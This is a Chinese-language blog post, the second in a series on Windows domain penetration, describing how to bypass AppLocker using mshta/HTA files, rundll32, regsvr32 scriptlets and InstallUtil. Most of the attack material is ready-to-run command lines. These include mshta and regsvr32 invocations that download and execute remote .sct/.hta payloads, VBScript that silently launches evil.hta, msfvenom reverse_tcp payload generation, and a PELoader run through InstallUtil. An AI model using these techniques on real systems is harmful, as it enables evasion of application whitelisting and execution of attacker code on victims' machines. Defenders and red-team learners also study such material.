Fork me on GitHub

域渗透(二)

前一篇关于域渗透的文章主要介绍了域渗透过程中的权限的横向移动策略,主要原理是依赖windows的认证机制,在域环境下主要是DA的域密码文件hash的导出,彩虹表明文破解和内存明文密码抓取,或者使用kerberos用户的hash伪造黄金票据进行域扩散等。这篇文章主要是想说明下Windows AppLocker的绕过。文章是在看了乌云大会2016年的议题:Shell is Only the Beginning后,对议题相关知识细节进行学习的记录。

0x01 概述

所谓的Windows AppLocker绕过,指的是“应用程序控制策略”Bypass。在windwos7和windows server 2008 后开始启用。可以简单的理解为对应用程序加了一层防火墙,通过指定执行策略指定了哪些应用可以被执行。包括可执行的程序路径,可执行的程序类型,指定可执行相应程序的用户组等。在AppLocker开启的情况下,默认的策略如下:

1
2
3
1. 允许本地管理员组的成员运行所有应用程序。
2. 允许 Everyone 组的成员运行位于 Windows 文件夹中的应用程序。
3. 允许 Everyone 组的成员运行位于 Program Files 文件夹中的应用程序。

在支持Windows AppLocker 的windows版本中,我们可以通过打开本地安全策略进行操作。[Win]+R输入`secpol.msc``打开本地安全策略。

由于Windows AppLocker的存在,在渗透的时候我们有时就需要对这些策略进行绕过。本文就是介绍各种绕过思路。

0x02 HTA(HTML Application)

HTA的实现是一种设计理念。直接将HTML保存成HTA的格式,就是一个独立的应用软件。这样html的运行就可以脱离浏览器成为一个独立的软件运行(所以拥有读写文件、操作注册表等权限)。由于可以把.hta后缀文件单独运行,而HTA本身可执行性是在Windows AppLocker默认策略白名单之内的,这样我们可以得到一种绕过Windows AppLoacker白名单的方式: mshta.exe payload.tha

利用方式1:

直接写入文件,html调用VBscript搞事情

1
2
3
4
5
6
7
8
9
10
11
12
13
# 有弹窗
<script LANGUAGE="VBScript">
Set cmd = CreateObject("WScript.Shell")
cmd.run("ping 1.1.1.1")
</script>

# 无弹窗
<SCRIPT LANGUAGE="VBScript">
set a = CreateObject("WScript.Shell")
visible = false
a.run "mshta.exe ""file:///evil.hta""", visible
window.close()
</SCRIPT>

利用方式2:

无文件攻击,内存代码执行

1
2
3
4
5
6
7
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta javascript:alert('hello');window.close();

Mshta.exe vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)

利用方式3:

结合CVE-2017-11882,word文档执行HTA

https://github.com/Ridter/CVE-2017-11882/

0x03 Rundll32

细节参考: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32

Rundll32是微软的一个原生程序用以传入参数的方式来显式的调用动态库中的函数。同时Rundll32是默认白名单的,可以作为绕过AppLocker的一种手段。根据这一特性,我们可以编写pac.dll,利用Rundll32实现代码执行。根据官方的文档手册,我们可以得出Rundll32程序的命令行使用:

1
2
3
4
The command line for Rundll is as follows:
RUNDLL.EXE <dllname>,<entrypoint> <optional arguments>
An example is as follows:
RUNDLL.EXE SETUPX.DLL,InstallHinfSection 132 C:\WINDOWS\INF\SHELL.INF

当然有成型的工具可以帮助我们构建poc,这里比较大众的思路是使用msfvenom这类工具来自动化的生成poc.dll

1
2
3
4
5
6
7
msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>

# 其中payload可以通过以下命令查看,同理(payloads, encoders, nops, platforms, archs, formats, all)
msfvenom -l payloads

# 查询某个payload参数,以windows tcp为例
msfvenom -p windows/meterpreter/reverse_tcp --payload-options

当然我们也可以利用Rundll32来执行javascript

细节参考:https://blog.csdn.net/caizi001/article/details/52853870

1
2
3
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";[js payload]
#例子:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

当然除了使用rundll32以命令行的方式执行dll外还可以将dll重命名cpl,双击运行。

还有一些博客提到的利用rundll32打开自定义的cmd和注册表项的骚思路,这里在ws2012上测试没通过就没有细说,有兴趣可以参考:http://www.4hou.com/technology/5737.html

0x04 Regsvr32

Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行

细节参考:https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 软件使用参数:
regsvr32 [/u] [/s] [/n] [/i[:cmdline]] <DllName>
/u
卸载已安装的控件或DLL文件
/s
静默,不显示任何消息框
/n
指定不调用 DllRegisterServer,此选项必须与 /i 共同使用
/i:cmdline
调用 DllInstall 将它传递到可选的 [cmdline],在与 /u 共同使用时,它调用 dll 卸载
dllname
指定要注册的 dll 文件名
# 常用的利用方式包括
--- 1.local COM scriptlet execution
--- 2.remote COM scriptlet execution
# 例子
--- 1.regsvr32 /u /n /s /i:padload.sct scrobj.dll
--- 2.regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll

--- 参考:https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md

一个在windows10关闭杀软的条件下运行计算器的payload。测试在MS server 2012 无法顺利执行(SCT文件的构造原理和细节推荐阅读参考文献[8])
regsvr32 /i https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct

通过三好学生前辈的细致入微的解读,我们可以知道,通过在卸载控件时候加入Exec函数的功能调用可以直接在卸载时运行任意代码(calc.sct中Exec函数里面的payload),同时卸载控件的操作不需要管理员权限,也不需要写入注册表,所以可以成为绕过AppLocker的不二手段。

InstallUtil

工具细节移步:https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

常用的两个步骤:编译cs,执行exe

Installutil.exe所在路径没有被系统添加PATH环境变量中,因此需要按照如下命令执行方式使用绝对路径运行。

1
2
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

参考文献:
[1]https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/critical-office-zero-day-attacks-detected-wild/?spm=a2c4e.11153940.blogcont205944.10.47ab657fMZ7L6E
[2]https://paper.seebug.org/265/
[3]https://zhuanlan.zhihu.com/p/48968904
[4]http://drops.xmd5.com/static/drops/tips-11804.html
[5]https://yq.aliyun.com/articles/205944
[6]https://cloud.tencent.com/developer/article/1044559
[7]https://docs.microsoft.com/en-us/previous-versions//ms536473(v=vs.85)
[8]http://drops.xmd5.com/static/drops/tips-15124.html

-------------本文结束感谢您的阅读-------------